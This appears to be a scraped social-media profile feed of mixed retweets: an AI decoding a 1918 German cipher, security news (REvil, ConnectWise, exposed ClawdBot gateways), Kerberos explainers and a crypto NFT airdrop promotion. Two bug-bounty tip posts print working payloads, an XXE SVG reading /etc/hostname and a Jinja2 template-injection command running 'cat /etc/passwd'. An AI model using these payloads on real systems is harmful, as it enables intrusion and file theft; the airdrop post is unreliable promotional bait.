Sergey Malych

Net adventurer wandering, examining and exploring since I was 8 years old

[prinz @deredleritt3r]

GPT-6 Astra deciphered a 1918 German radio transmission that, to my knowledge, has never been deciphered before.

The message below translates to:

"EIN ENGLISCHER KREUZER EINLIEG X SEWASTOPOL X S4STEN X EIN GESCHWADER DER X ALLIIERTEN FOLGT 26STEN X"

or, in English:

"AN ENGLISH CRUISER ARRIVED AT SEVASTOPOL ON THE ?4TH AN ALLIED SQUADRON FOLLOWS ON THE 26TH"

Astra even double-checked its work by determining that an English cruiser, HMS Canterbury, reported its arrival in Sevastopol on November 24, 1918 and the arrival of an allied squadron on November 26, 1918.

This message is one of the ~20 WWI German radio messages that appear as one of the entries in the https://t.co/H7yLaI1edV list of top 50 unsolved ciphers (https://t.co/Qu2gp90pmD).

A minor, but really cool result!

[Joma Tech @jomatech]

If Yu-Gi-Oh was about Tech Jobs

[vx-underground @vxunderground]

Chat, I don't want to be that guy, but I think Microsoft has really pissed off security researchers and we're approaching the tipping point.

This Eclipse guy has really rocked the boat for Microsoft.

[Luis Catacora @lucataco]

Clawdbot is awesome 🦞

But I just checked Shodan and there are exposed gateways on port 18789 with zero auth

That's shell access, browser automation, your API keys

Cloudflare Tunnel is free, there's no excuse

RT to save a ClawdBot from getting cooked

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

🚨 XXE: Exploit Using SVG Image 🚨

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="https://t.co/RCJmu5xJKl" xmlns:xlink="https://t.co/4kEcpubeBw" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

[h1p 🇨🇴 @hipdead010]

Jinja2 RCE Payload

self.__class__.__mro__[1].__subclasses__()[40]("cat /etc/passwd",shell=True,stdout=-1).communicate() }}

[Yoni @jbytej]

ביולי 2023, הצבא של ניז'ר ​​ביצע הפיכה צבאית מוצלחת והפיל את הממשלה שנבחרה באופן דמוקרטי.
החונטה הצבאית עצרה את הנשיא הפרו-מערבי מוחמד בזום, והכריזה על ביטול החוקה וכינון משטר צבאי.

[DilDog 🅅 @dildog]

i love that you can just make google's servers make arbitrary http requests for you from their servers

[watchTowr @watchtowrcyber]

we are truly shocked to hear about a CVSS 10.0 vuln in ConnectWise

shocked

[Oren Yomtov @orenyomtov]

Achievement unlocked: contribute to an academic paper 😎

https://t.co/8kmB5fwP6J

Thanks to @nik_mak_!

[Sergey Malych @SergeyMalych]

@MiningPredict Will you be able to contact me for a job opportunity? I looked at your GitHub projects and it seems that you are a perfect material for research projects

[vx-underground @vxunderground]

REvil ransomware group has ransomed Chinese electrical manufacturer Midea Group. Midea Group has an estimated annual revenue of ¥343,400,000,000 or approx. $49,000,000,000.

REvil is continuing its big game hunting.

[Ed @EdOverflow]

After 5 years of work, security.txt is officially an RFC. I am pleased to announce RFC 9116: https://t.co/uIqSRo28ak.

I would like to use this opportunity to thank those who made this possible. Thank you. ❤️

[Kudoe (KDOE) @KudoeOfficial]

Join $600k Dogs Of Elon NFT airdrop in partnership with @CoinMarketCap.
Each minted NFT on https://t.co/mWN1Cwkzak will reserve 30% of funds and be donated to @teamseas
Target 1M (already donated $125k)!
RT &amp; LIKE to Join airdrop:
https://t.co/1JOht7jlET
#dogsofelon #TeamSeas

[Kelly Villanueva @kellthenoise]

Here are some Kerberos visuals to describe authentication/authorization and their offensive scenarios
Here are some of the acronyms I used:
- Ticket-Granting-Ticket (TGT)
- domain controller (DC)
- ticket-granting service ticket (TGST)
- krbtgt (Kerberos ticket-granting service)

[Sergey Malych @SergeyMalych]

https://t.co/FnFKIVzVeN

[Sergey Malych @SergeyMalych]

https://t.co/AmvtAVpSTg

[Sergey Malych @SergeyMalych]

https://t.co/ll5gXh0DzK

[Sergey Malych @SergeyMalych]

😱 https://t.co/RnOr4WLIVy

[Sergey Malych @SergeyMalych]

https://t.co/r1TMPwYqfg